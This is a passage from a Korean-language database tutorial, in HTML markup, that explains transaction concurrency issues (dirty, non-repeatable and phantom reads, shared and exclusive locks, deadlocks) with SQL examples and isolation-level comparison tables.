&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 배타 락(Exclusive Lock) 사용&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001' FOR UPDATE;
-- 배타 락 획득 (다른 트랜잭션 대기)

UPDATE 계좌 SET 잔액 = 잔액 - 3000 WHERE 계좌번호 = 'A001';
COMMIT;  -- 락 해제

-- 트랜잭션 B (트랜잭션 A 커밋 후 실행)
BEGIN TRANSACTION;
SELECT 잔액 FROM 계좌 WHERE 계좌번호 = 'A001' FOR UPDATE;
-- 결과: 7,000원 (트랜잭션 A의 변경사항 반영)

UPDATE 계좌 SET 잔액 = 잔액 - 5000 WHERE 계좌번호 = 'A001';
COMMIT;  -- 잔액 = 2,000원 (정확함!)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 낙관적 락(Optimistic Lock) 사용&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 버전 컬럼 추가
ALTER TABLE 계좌 ADD COLUMN version INT DEFAULT 0;

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 잔액, version FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 잔액 = 10,000, version = 0

UPDATE 계좌 
SET 잔액 = 잔액 - 3000, version = version + 1
WHERE 계좌번호 = 'A001' AND version = 0;
-- 성공: 1행 업데이트
COMMIT;

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT 잔액, version FROM 계좌 WHERE 계좌번호 = 'A001';
-- 결과: 잔액 = 7,000, version = 1

UPDATE 계좌 
SET 잔액 = 잔액 - 5000, version = version + 1
WHERE 계좌번호 = 'A001' AND version = 1;
-- 성공: 1행 업데이트
COMMIT;  -- 잔액 = 2,000원 (정확함!)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Dirty Read (더티 읽기)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Dirty Read의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Dirty Read(더티 읽기)&lt;/b&gt;는 커밋되지 않은 데이터를 읽는 문제입니다. 한 트랜잭션이 데이터를 수정한 후 커밋하지 않은 상태에서, 다른 트랜잭션이 그 데이터를 읽으면 Dirty Read가 발생합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Dirty Read 발생 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오: 주문 금액 수정&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 초기값: 주문 금액 = 36,000원

-- 트랜잭션 A: 주문 금액 수정
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 50,000 WHERE 주문ID = 'O100';
-- 아직 커밋하지 않음

-- 트랜잭션 B (READ UNCOMMITTED 격리 수준)
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
BEGIN TRANSACTION;
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 50,000원 (커밋되지 않은 데이터를 읽음 - Dirty Read!)

-- 트랜잭션 A: 오류 발생으로 롤백
ROLLBACK;  -- 총금액 = 36,000원으로 복구

-- 트랜잭션 B가 읽은 데이터는 잘못된 데이터!
-- 실제로는 36,000원인데 50,000원으로 잘못 인식&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Dirty Read의 문제점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;잘못된 데이터 기반 의사결정&lt;/b&gt;: 커밋되지 않은 데이터를 기반으로 비즈니스 로직 실행&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 일관성 훼손&lt;/b&gt;: 롤백된 데이터를 다른 트랜잭션이 사용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정확성 보장 불가&lt;/b&gt;: 읽은 데이터가 실제로 존재하지 않을 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Dirty Read 해결 방법&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;READ COMMITTED 격리 수준 사용&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 50,000 WHERE 주문ID = 'O100';
-- 아직 커밋하지 않음

-- 트랜잭션 B (READ COMMITTED)
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
BEGIN TRANSACTION;
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 36,000원 (커밋된 데이터만 읽음 - Dirty Read 방지!)

-- 트랜잭션 A
COMMIT;  -- 총금액 = 50,000원으로 커밋

-- 트랜잭션 B (재조회)
SELECT 총금액 FROM 주문 WHERE 주문ID = 'O100';
-- 결과: 50,000원 (커밋된 데이터 읽음)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. Non-Repeatable Read (반복 불가능한 읽기)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Repeatable Read의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Non-Repeatable Read(반복 불가능한 읽기)&lt;/b&gt;는 같은 트랜잭션 내에서 같은 쿼리를 반복 실행했을 때 다른 결과가 나오는 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Repeatable Read 발생 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오: 상품 가격 조회&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 초기값: 상품 가격 = 18,000원

-- 트랜잭션 A: 가격 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원

-- 트랜잭션 B: 가격 수정
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20,000 WHERE 상품번호 = 'P001';
COMMIT;  -- 가격 = 20,000원으로 커밋

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 20,000원 (다른 결과 - Non-Repeatable Read!)

-- 문제: 같은 트랜잭션 내에서 같은 데이터를 두 번 읽었는데 결과가 다름&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Repeatable Read의 문제점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;일관성 없는 데이터&lt;/b&gt;: 같은 트랜잭션 내에서 데이터가 달라짐&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비즈니스 로직 오류&lt;/b&gt;: 첫 번째 읽기와 두 번째 읽기의 차이로 인한 계산 오류&lt;/li&gt;
&lt;li&gt;&lt;b&gt;의사결정 오류&lt;/b&gt;: 중간에 변경된 데이터로 인한 잘못된 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Repeatable Read 해결 방법&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;REPEATABLE READ 격리 수준 사용&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A: 가격 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원 (스냅샷 생성)

-- 트랜잭션 B: 가격 수정
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20,000 WHERE 상품번호 = 'P001';
COMMIT;  -- 가격 = 20,000원으로 커밋

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT 가격 FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 18,000원 (같은 결과 - Non-Repeatable Read 방지!)
-- 스냅샷을 사용하여 트랜잭션 시작 시점의 데이터 유지&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. Phantom Read (팬텀 읽기)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Phantom Read의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phantom Read(팬텀 읽기)&lt;/b&gt;는 트랜잭션 중에 새로운 행이 추가되거나 삭제되어 결과 집합이 달라지는 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Phantom Read 발생 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오: 주문 개수 조회&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 초기값: 브랜드 'B001'의 주문 개수 = 5개

-- 트랜잭션 A: 주문 개수 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5

-- 트랜잭션 B: 새 주문 추가
BEGIN TRANSACTION;
INSERT INTO 주문 (주문ID, 브랜드코드, 총금액)
VALUES ('O200', 'B001', 36000);
COMMIT;  -- 주문 추가 완료 (실제 주문 개수 = 6개)

-- 트랜잭션 A: 같은 쿼리 재실행
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5 (같은 결과 - Non-Repeatable Read는 방지됨)
-- 하지만 실제로는 6개 행이 존재 (Phantom Read!)

-- 문제: 트랜잭션 중에 새로운 행이 추가되었지만 보이지 않음&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Phantom Read의 문제점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;결과 집합 불일치&lt;/b&gt;: 실제 데이터와 조회 결과가 다름&lt;/li&gt;
&lt;li&gt;&lt;b&gt;통계 오류&lt;/b&gt;: 집계 쿼리의 결과가 부정확함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비즈니스 로직 오류&lt;/b&gt;: 존재하지 않는 데이터를 기반으로 의사결정&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Phantom Read 해결 방법&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SERIALIZABLE 격리 수준 사용&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A: 주문 개수 조회
BEGIN TRANSACTION;
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 5 (범위 락 설정)

-- 트랜잭션 B: 새 주문 추가 시도
BEGIN TRANSACTION;
INSERT INTO 주문 (주문ID, 브랜드코드, 총금액)
VALUES ('O200', 'B001', 36000);
-- 대기 (트랜잭션 A가 커밋할 때까지)

-- 트랜잭션 A
COMMIT;  -- 락 해제

-- 트랜잭션 B 실행 가능
COMMIT;

-- 트랜잭션 A가 다시 조회하면
SELECT COUNT(*) FROM 주문 WHERE 브랜드코드 = 'B001';
-- 결과: 6 (정확한 결과)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 락(Lock) 메커니즘&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;락의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;락(Lock)&lt;/b&gt;은 동시성 제어를 위해 데이터에 대한 접근을 제한하는 메커니즘입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;락의 종류&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 공유 락 (Shared Lock, S-Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공유 락&lt;/b&gt;은 읽기 작업에 사용되는 락으로, 여러 트랜잭션이 동시에 공유 락을 가질 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' LOCK IN SHARE MODE;
-- 공유 락 획득 (다른 트랜잭션도 읽기 가능)

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' LOCK IN SHARE MODE;
-- 공유 락 획득 가능 (읽기 가능)

-- 트랜잭션 C
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 대기 (공유 락이 있으면 배타 락 획득 불가)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 배타 락 (Exclusive Lock, X-Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;배타 락&lt;/b&gt;은 쓰기 작업에 사용되는 락으로, 한 트랜잭션만 배타 락을 가질 수 있습니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 배타 락 획득

-- 트랜잭션 B
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001';
-- 대기 (배타 락이 있으면 공유 락 획득 불가)

-- 트랜잭션 C
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 대기 (배타 락이 있으면 배타 락 획득 불가)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;락 호환성&lt;/b&gt;&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;현재 락&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;공유 락 요청&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;배타 락 요청&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;공유 락&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 허용&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 대기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;배타 락&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 대기&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 대기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;락 없음&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 허용&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;락의 범위&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 행 락 (Row Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 행에만 락을 설정합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 상품번호 'P001' 행에만 락 설정&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 테이블 락 (Table Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 테이블에 락을 설정합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;BEGIN TRANSACTION;
LOCK TABLE 상품 IN EXCLUSIVE MODE;
-- 전체 상품 테이블에 락 설정&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 인덱스 락 (Index Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스 키에 락을 설정합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 인덱스 키에 락 설정&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 데드락 (Deadlock)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데드락의 정의&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데드락(Deadlock)&lt;/b&gt;은 두 개 이상의 트랜잭션이 서로가 가진 락을 기다리며 무한 대기하는 상태입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데드락 발생 예시&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시나리오: 상호 대기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 상품 P001에 배타 락 획득

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
UPDATE 주문 SET 총금액 = 40000 WHERE 주문ID = 'O100';
-- 주문 O100에 배타 락 획득

-- 트랜잭션 A
UPDATE 주문 SET 총금액 = 50000 WHERE 주문ID = 'O100';
-- 주문 O100의 락을 기다림 (트랜잭션 B가 가지고 있음)

-- 트랜잭션 B
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 상품 P001의 락을 기다림 (트랜잭션 A가 가지고 있음)

-- 데드락 발생!
-- A: 주문 O100 락 대기 (B가 가지고 있음)
-- B: 상품 P001 락 대기 (A가 가지고 있음)
-- 둘 다 대기 상태로 무한 대기&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데드락의 문제점&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시스템 성능 저하&lt;/b&gt;: 데드락에 걸린 트랜잭션이 리소스를 점유&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 경험 저하&lt;/b&gt;: 트랜잭션이 완료되지 않아 응답 없음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리소스 낭비&lt;/b&gt;: CPU와 메모리 리소스가 낭비됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;데드락 해결 방법&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 데드락 탐지 및 복구&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 DBMS는 데드락을 자동으로 탐지하고 한 트랜잭션을 롤백합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- DBMS가 데드락을 탐지하면
-- 한 트랜잭션을 롤백하고 에러 반환

-- 트랜잭션 A
ERROR: Deadlock detected
ROLLBACK;  -- 자동 롤백

-- 트랜잭션 B
-- 정상적으로 실행 계속
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 데드락 예방&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;락 순서 일관성 유지:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- ✅ 좋은 예: 항상 같은 순서로 락 획득
-- 항상 상품 &amp;rarr; 주문 순서

-- 트랜잭션 A
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
UPDATE 주문 SET 총금액 = 50000 WHERE 주문ID = 'O100';
COMMIT;

-- 트랜잭션 B
BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 19000 WHERE 상품번호 = 'P001';
-- 대기 (트랜잭션 A가 상품 락을 가지고 있음)
-- 트랜잭션 A 커밋 후 실행
UPDATE 주문 SET 총금액 = 40000 WHERE 주문ID = 'O100';
COMMIT;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;타임아웃 설정:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 락 대기 시간 제한
SET LOCK_TIMEOUT 5000;  -- 5초 대기 후 타임아웃

BEGIN TRANSACTION;
UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
-- 5초 내에 락을 획득하지 못하면 타임아웃 에러&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 격리 수준과 동시성 이슈&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;격리 수준별 동시성 이슈&lt;/b&gt;&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;격리 수준&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Lost Update&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Dirty Read&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Non-Repeatable Read&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Phantom Read&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;동시성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;READ UNCOMMITTED&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;READ COMMITTED&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;REPEATABLE READ&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;❌ 발생 가능&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;b&gt;SERIALIZABLE&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;✅ 방지&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;격리 수준 선택 가이드&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;READ COMMITTED (대부분의 DBMS 기본값):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적인 웹 애플리케이션에 적합&lt;/li&gt;
&lt;li&gt;Dirty Read 방지&lt;/li&gt;
&lt;li&gt;적절한 동시성과 일관성 균형&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;REPEATABLE READ:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;같은 데이터를 여러 번 읽어야 하는 경우&lt;/li&gt;
&lt;li&gt;Non-Repeatable Read 방지 필요 시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SERIALIZABLE:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최고 수준의 일관성 필요 시&lt;/li&gt;
&lt;li&gt;모든 동시성 문제 방지&lt;/li&gt;
&lt;li&gt;성능 저하 감수 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. 동시성 이슈 해결 전략&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;애플리케이션 레벨 해결&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 낙관적 락 (Optimistic Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버전 컬럼을 사용하여 동시 수정을 감지합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 버전 컬럼 추가
ALTER TABLE 상품 ADD COLUMN version INT DEFAULT 0;

-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT 가격, version FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 가격 = 18000, version = 0

UPDATE 상품 
SET 가격 = 20000, version = version + 1
WHERE 상품번호 = 'P001' AND version = 0;
-- 성공: 1행 업데이트
COMMIT;

-- 트랜잭션 B (동시 실행)
BEGIN TRANSACTION;
SELECT 가격, version FROM 상품 WHERE 상품번호 = 'P001';
-- 결과: 가격 = 18000, version = 0

UPDATE 상품 
SET 가격 = 19000, version = version + 1
WHERE 상품번호 = 'P001' AND version = 0;
-- 실패: 0행 업데이트 (version이 이미 1로 변경됨)
-- 재시도 필요&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 비관적 락 (Pessimistic Lock)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;락을 먼저 획득하여 동시 수정을 방지합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 트랜잭션 A
BEGIN TRANSACTION;
SELECT * FROM 상품 WHERE 상품번호 = 'P001' FOR UPDATE;
-- 배타 락 획득

UPDATE 상품 SET 가격 = 20000 WHERE 상품번호 = 'P001';
